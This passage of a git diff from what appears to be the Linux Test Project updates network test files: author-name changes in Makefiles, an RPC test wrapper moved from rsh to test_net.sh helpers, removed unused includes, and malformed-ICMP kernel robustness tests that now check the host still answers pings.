 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/rpc/basic_tests/Makefile b/testcases/network/rpc/basic_tests/Makefile
index 3160813..66e9d56 100644
--- a/testcases/network/rpc/basic_tests/Makefile
+++ b/testcases/network/rpc/basic_tests/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/rpc/basic_tests/rpc01/Makefile b/testcases/network/rpc/basic_tests/rpc01/Makefile
index b07e14e..953b21a 100644
--- a/testcases/network/rpc/basic_tests/rpc01/Makefile
+++ b/testcases/network/rpc/basic_tests/rpc01/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/rpc/basic_tests/rpcinfo/Makefile b/testcases/network/rpc/basic_tests/rpcinfo/Makefile
index 5ef5951..f48bba6 100644
--- a/testcases/network/rpc/basic_tests/rpcinfo/Makefile
+++ b/testcases/network/rpc/basic_tests/rpcinfo/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/rpc/basic_tests/rup/Makefile b/testcases/network/rpc/basic_tests/rup/Makefile
index 567c3d8..6b8386a 100644
--- a/testcases/network/rpc/basic_tests/rup/Makefile
+++ b/testcases/network/rpc/basic_tests/rup/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/rpc/basic_tests/rusers/Makefile b/testcases/network/rpc/basic_tests/rusers/Makefile
index 6d7ea41..72715e3 100644
--- a/testcases/network/rpc/basic_tests/rusers/Makefile
+++ b/testcases/network/rpc/basic_tests/rusers/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/rpc/rpc-tirpc/README b/testcases/network/rpc/rpc-tirpc/README
index d87024c..1391627 100644
--- a/testcases/network/rpc/rpc-tirpc/README
+++ b/testcases/network/rpc/rpc-tirpc/README
@@ -44,8 +44,8 @@
 instead of a bunch of scripts from the above web page.
 
 The basic group of test cases can be executed from
- * runtest/rpc_tests - for TS-RPC testing
- * runtest/tirpc_tests - for TI-RPC testing
+ * runtest/net.rpc_tests - for TS-RPC testing
+ * runtest/net.tirpc_tests - for TI-RPC testing
 using the LTP framework (ltp-pan, runltp and etc).
 
 Additional test cases (like stress, complex and etc) are to be integrated.
diff --git a/testcases/network/rpc/rpc-tirpc/rpc_test.sh b/testcases/network/rpc/rpc-tirpc/rpc_test.sh
index 17fc5ed..e265725 100755
--- a/testcases/network/rpc/rpc-tirpc/rpc_test.sh
+++ b/testcases/network/rpc/rpc-tirpc/rpc_test.sh
@@ -1,6 +1,7 @@
 #!/bin/sh
 #
 # Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -17,18 +18,8 @@
 # Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 #
 # This is a wrapper script to execute tests from the RPC/TI-RPC tests
-# suite (http://nfsv4.bullopensource.org/doc/rpc_testsuite.php) in LTP
-#
-# This wrapper uses the RHOST environment variable:
-#
-# If the RHOST variable is set, then the rpc server instance (if needed)
-# is started on RHOST, using rsh, and the client program is passed
-# the RHOST value.
-#
-# If the RHOST variable is not set, then the rpc server instance (if needed)
-# is started on the local host, and the client program is passed `hostname`.
+# suite (http://nfsv4.bullopensource.org/doc/rpc_testsuite.php) in LTP.
 
-SERVER_HOST=${RHOST:-`hostname`}
 SERVER=""
 CLIENT=""
 CLIENT_EXTRA_OPTS=""
@@ -37,38 +28,29 @@
 PROGNUMNOSVC=536875000
 SERVER_STARTUP_SLEEP=1
 
-run_cmd()
-{
-	if [ ! -z "$RHOST" ]; then
-		rsh -n "$RHOST" "$1"
-	else
-		$1
-	fi
-}
-
 cleanup()
 {
 	if [ ! -z "$SERVER" ]; then
-		run_cmd "killall -9 $SERVER"
-		run_cmd "$CLEANER $PROGNUMNOSVC"
+		killall -9 $SERVER
+		$CLEANER $PROGNUMNOSVC
 	fi
 }
 
 usage()
 {
-	echo "USAGE: $0 [-s sprog] -c clprog [ -e extra ]"
-	echo ""
-	echo "sprog   - server program binary"
-	echo "clprog  - client program binary"
-	echo "extra   - extra client options"
-	echo ""
-	echo "This scripts connects to the RHOST host by rsh and starts"
-	echo "sprog there. After that it executes clprog passing it the"
-	echo "RHOST value."
-	echo "After the test completes, this script kills sprog on RHOST"
-	echo "and performs a cleaning operation."
-	echo ""
-	echo "If RHOST is not set, the local host is used."
+	cat << EOF
+USAGE: $0 [-s sprog] -c clprog [ -e extra ]
+
+sprog   - server program binary
+clprog  - client program binary
+extra   - extra client options
+
+This scripts connects to the remote host and starts sprog there. After that it
+executes clprog passing it the remote host value.
+
+After the test completes, this script kills sprog on remote and performs a
+cleaning operation.
+EOF
 
 	exit 1
 }
@@ -99,21 +81,17 @@
 TCID="$CLIENT"
 TST_TOTAL=1
 TST_COUNT=1
-. test.sh
 TST_CLEANUP=cleanup
 
+. test_net.sh
+
 if [ ! -z "$SERVER" ]; then
-	run_cmd "$SERVER $PROGNUMNOSVC" &
+	$SERVER $PROGNUMNOSVC &
 	sleep "$SERVER_STARTUP_SLEEP"
 fi
 
-"$CLIENT" "$SERVER_HOST" "$PROGNUMNOSVC" $CLIENT_EXTRA_OPTS
-ret=$?
+tst_rhost_run -sc "$CLIENT $(tst_ipaddr) $PROGNUMNOSVC $CLIENT_EXTRA_OPTS"
 
-if [ "$ret" -eq 0 ]; then
-	tst_resm TPASS "Test passed"
-else
-	tst_resm TFAIL "Test failed"
-fi
+tst_resm TPASS "Test passed"
 
 tst_exit
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile
index d16e1ca..42d111f 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile
@@ -35,5 +35,5 @@
 lib-clean:: $(LIBDIR)
 	$(MAKE) -C $^ -f "$(abs_srcdir)/$^/Makefile" clean
 
-include ./Makefile.inc
+include $(abs_srcdir)/Makefile.inc
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile.inc b/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile.inc
index ff6b2e0..c709335 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile.inc
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile.inc
@@ -21,7 +21,7 @@
 LIBSRCDIR	:= $(abs_top_srcdir)/$(LIBRELDIR)
 LIBRPC-TIRPC	:= $(LIBDIR)/librpc-tirpc.a
 
-$(LIBDDIR):
+$(LIBDIR):
 	mkdir -p "$@"
 
 $(LIBRPC-TIRPC): $(LIBDIR)
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_auth_destroy/rpc_auth_destroy.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_auth_destroy/rpc_auth_destroy.c
index 7f157e1..728c023 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_auth_destroy/rpc_auth_destroy.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_auth_destroy/rpc_auth_destroy.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authnone_create/rpc_authnone_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authnone_create/rpc_authnone_create.c
index d9a3111..8d80a5e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authnone_create/rpc_authnone_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authnone_create/rpc_authnone_create.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create/rpc_authunix_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create/rpc_authunix_create.c
index cabffc7..a4d1d6f 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create/rpc_authunix_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create/rpc_authunix_create.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create_default/rpc_authunix_create_default.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create_default/rpc_authunix_create_default.c
index 4f10466..863aec7 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create_default/rpc_authunix_create_default.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_auth_authunix_create_default/rpc_authunix_create_default.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create.c
index 290f357..e849468 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_limits.c
index 55bac16..8c1800b 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_limits.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_stress.c
index 09d1bf9..384a00d 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clnttcp_create/rpc_clnttcp_create_stress.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate.c
index 3e15306..285eb21 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate_limits.c
index a7030a2..1f2690a 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_bufcreate/rpc_clntudp_bufcreate_limits.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create.c
index 06f4740..faa8ef6 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create_stress.c
index ca38aa0..974f5fb 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_clntudp_create/rpc_clntudp_create_stress.c
@@ -30,7 +30,6 @@
 #include <time.h>
 #include <rpc/rpc.h>
 #include <sys/socket.h>
-#include <rpcsvc/rusers.h>
 #include <utmp.h>
 #include <sys/time.h>
 #include <netdb.h>
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_1/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_1/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_1/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_1/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_2/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_2/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_2/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_svc_2/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/Makefile
index 771888c..b5d08aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../../../..
 
 include	$(top_srcdir)/include/mk/env_pre.mk
-include ../Makefile.inc
+include $(abs_srcdir)/../Makefile.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/sockets/Makefile b/testcases/network/sockets/Makefile
index 763d72e..057b353 100644
--- a/testcases/network/sockets/Makefile
+++ b/testcases/network/sockets/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/sockets/ltpSockets.sh b/testcases/network/sockets/ltpSockets.sh
index 48fa8c6..65b2320 100755
--- a/testcases/network/sockets/ltpSockets.sh
+++ b/testcases/network/sockets/ltpSockets.sh
@@ -54,10 +54,10 @@
 echo "Starting ltpServer..."
 
 ./ltpServer $hostname1 &
-sleep 5s
+sleep 5
 echo "Starting ltpClient..."
 ./ltpClient $hostname1 $hostname1 $testdata
-sleep 1s
+sleep 1
 killall -9 ltpServer
 killall -9 ltpClient
 
diff --git a/testcases/network/stress/Makefile b/testcases/network/stress/Makefile
index 673392e..2b26ac4 100644
--- a/testcases/network/stress/Makefile
+++ b/testcases/network/stress/Makefile
@@ -17,10 +17,15 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
+
+ifeq ($(ANDROID), 1)
+FILTER_OUT_DIRS		+= ns-tools
+endif
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/network/stress/broken_ip/Makefile b/testcases/network/stress/broken_ip/Makefile
index af5b54d..29775d8 100644
--- a/testcases/network/stress/broken_ip/Makefile
+++ b/testcases/network/stress/broken_ip/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/broken_ip/broken_ip4-checksum b/testcases/network/stress/broken_ip/broken_ip4-checksum
index bc268af..33667ba 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-checksum
+++ b/testcases/network/stress/broken_ip/broken_ip4-checksum
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,14 +21,12 @@
 TCID=broken_ip4-checksum01
 TST_TOTAL=1
 
-. broken_ip4_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv4 packets that have wrong value in the checksum field"
+tst_resm TINFO "Sending ICMPv4 with wrong chksum field for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv4_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -c"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1472" -c
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip4-dstaddr b/testcases/network/stress/broken_ip/broken_ip4-dstaddr
index f3ddba4..b4b676e 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-dstaddr
+++ b/testcases/network/stress/broken_ip/broken_ip4-dstaddr
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,15 +21,12 @@
 TCID=broken_ip4-dstaddr01
 TST_TOTAL=1
 
-. broken_ip4_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv4 packets whose destination address is wrong \
-(destination MAC address is correct)"
+tst_resm TINFO "Sending ICMPv4 with wrong dst address for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv4_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -i"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1472" -i
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip4-fragment b/testcases/network/stress/broken_ip/broken_ip4-fragment
index f477996..dbef193 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-fragment
+++ b/testcases/network/stress/broken_ip/broken_ip4-fragment
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
